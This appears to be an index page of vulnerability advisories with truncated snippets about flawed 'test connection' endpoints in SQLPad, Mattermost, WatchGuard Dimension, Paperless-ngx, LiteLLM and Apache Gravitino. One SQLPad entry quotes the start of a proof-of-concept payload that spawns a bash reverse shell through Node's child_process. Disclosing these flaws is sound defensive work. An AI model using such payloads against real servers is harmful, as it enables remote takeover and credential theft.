sqlpad-rce-exploit-CVE-2022-0944

SQLPad RCE Exploit This repository contains an exploit script for CVE-2022-0944 in SQLPad, a vulnerability that allows for Remote Code Execution RCE via the /api/test-connection endpoint. Overview The provided script exploit.py demonstrates how to exploit the RCE vulnerability in SQLPad. The scri...

CVE-2022-0944

CVE-2022-0944 PoC PoC for RCE in SQLPad. This example spawns a reverse shell, but the payload can be modified to run any command available by changing the command in the 'exec' call within the payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...

SQLPad CVE-2022-0944 Handlebars SSTI RCE

CVE-2022-0944 SQLPad = 6.10.0: unauthenticated POST /api/test-connection embeds attacker input in Handlebars templates leading to Node childprocess.execSync blind; exfil or reverse shell. !/usr/bin/env python3 -- coding: utf-8 -- """SQLPad CVE-2022-0944 unauthenticated Handlebars SSTI RCE blind."...

CVE-2026-19601

Mattermost versions 11.9.x = 11.9.1, 11.8.x = 11.8.5, 11.7.x = 11.7.10, 11.10.x = 11.10.1 fail to invalidate the stored AD/LDAP bind password when other connection settings such as the server address are changed, which allows a System Console administrator to disclose the plaintext bind password ...

EUVD-2026-102807

Mattermost versions 11.9.x = 11.9.1, 11.8.x = 11.8.5, 11.7.x = 11.7.10, 11.10.x = 11.10.1 fail to invalidate the stored AD/LDAP bind password when other connection settings such as the server address are changed, which allows a System Console administrator to disclose the plaintext bind password ...

CVE-2026-19601 Disclosure of AD/LDAP bind password via Test Connection

Mattermost versions 11.9.x = 11.9.1, 11.8.x = 11.8.5, 11.7.x = 11.7.10, 11.10.x = 11.10.1 fail to invalidate the stored AD/LDAP bind password when other connection settings such as the server address are changed, which allows a System Console administrator to disclose the plaintext bind password ...

CVE-2026-19601

Mattermost versions 11.9.x <= 11.9.1, 11.8.x <= 11.8.5, 11.7.x <= 11.7.10, and 11.10.x

CVE-2026-19601: Insertion of Sensitive Information Into Sent Data

Mattermost versions 11.9.x = 11.9.1, 11.8.x = 11.8.5, 11.7.x = 11.7.10, 11.10.x = 11.10.1 fail to invalidate the stored AD/LDAP bind password when other connection settings such as the server address are changed, which allows a System Console administrator to disclose the plaintext bind password ...

CVE-2026-78500 Dimension Blind SSRF via Database Test Connection Feature

A blind server-side request forgery SSRF vulnerability WatchGuard Dimension Database Server Test configuration allows an authenticated privileged attacker to enumerate exposed network services on adjacent network systems...

CVE-2026-78500 Dimension Blind SSRF via Database Test Connection Feature

A blind server-side request forgery SSRF vulnerability WatchGuard Dimension Database Server Test configuration allows an authenticated privileged attacker to enumerate exposed network services on adjacent network systems...

CVE-2026-78500

WatchGuard Dimension contains a blind server-side request forgery (SSRF) vulnerability in the Database Server Test configuration. An authenticated privileged attacker can use this to enumerate exposed network services on adjacent network systems . The CVSS 4.0 base score is 5.1 (MEDIUM) , with an...

CVE-2026-71244 Paperless-ngx - Mail Account Test Connection Leaks Stored IMAP/OAuth Credentials to Attacker-Controlled Host

Paperless-ngx's MailAccountViewSet.test action, when called with an existing account's ID and a masked password field, reuses the stored password, accounttype, refreshtoken, and expiration from that existing account while allowing the caller to supply a different imapserver, imapport, and...

CVE-2026-71244 Paperless-ngx - Mail Account Test Connection Leaks Stored IMAP/OAuth Credentials to Attacker-Controlled Host

Paperless-ngx's MailAccountViewSet.test action, when called with an existing account's ID and a masked password field, reuses the stored password, accounttype, refreshtoken, and expiration from that existing account while allowing the caller to supply a different imapserver, imapport, and...

LiteLLM: Local file read via request-supplied OIDC file references

ImpactLiteLLM's /health/testconnection endpoint resolved request-supplied environment and OIDC file references in litellmparams. A proxy administrator, or another privileged caller with permission to test model connections, could cause LiteLLM to read files from the local filesystem via an...

PYSEC-2026-3476 LiteLLM: Local file read via request-supplied OIDC file references

Impact LiteLLM's /health/testconnection endpoint resolved request-supplied environment and OIDC file references in litellmparams. A proxy administrator, or another privileged caller with permission to test model connections, could cause LiteLLM to read files from the local filesystem via an...

PT-2026-64086

Impact LiteLLM's /health/test connection endpoint resolved request-supplied environment and OIDC file references in litellm params. A proxy administrator, or another privileged caller with permission to test model connections, could cause LiteLLM to read files from the local filesystem via an...

EUVD-2026-42361

LiteLLM: Local file read via request-supplied OIDC file references...

LiteLLM: Local file read via request-supplied OIDC file references

Impact LiteLLM's /health/testconnection endpoint resolved request-supplied environment and OIDC file references in litellmparams. A proxy administrator, or another privileged caller with permission to test model connections, could cause LiteLLM to read files from the local filesystem via an...

Remote Code Execution (RCE)

Apache Gravitino is vulnerable to Remote Code Execution RCE . The vulnerability is due to insufficient validation of H2 JDBC URLs in the testConnection API, where attacker-controlled URLs can abuse the H2 INIT parameter to execute arbitrary Java code on the server...

CVE-2026-59819

A flaw was found in LiteLLM, a proxy server for Large Language Model LLM APIs. A privileged caller, such as a proxy administrator, with permissions to test model connections, could exploit the /health/testconnection endpoint. By supplying specific environment or OIDC OpenID Connect file reference...